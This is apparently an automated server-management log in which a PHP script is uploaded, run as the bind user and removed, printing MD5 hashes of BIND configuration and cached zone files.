MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-29 23:24:30: Establishing a connection
2025-08-29 23:24:30: 

PUT: /tmp/pkp314992

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-29 23:24:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp314992; rm /tmp/pkp314992'

2025-08-29 23:24:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-29 23:24:32: Establishing a connection
2025-08-29 23:24:32: 

PUT: /tmp/pkp841928

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-29 23:24:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp841928; rm /tmp/pkp841928'

2025-08-29 23:24:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
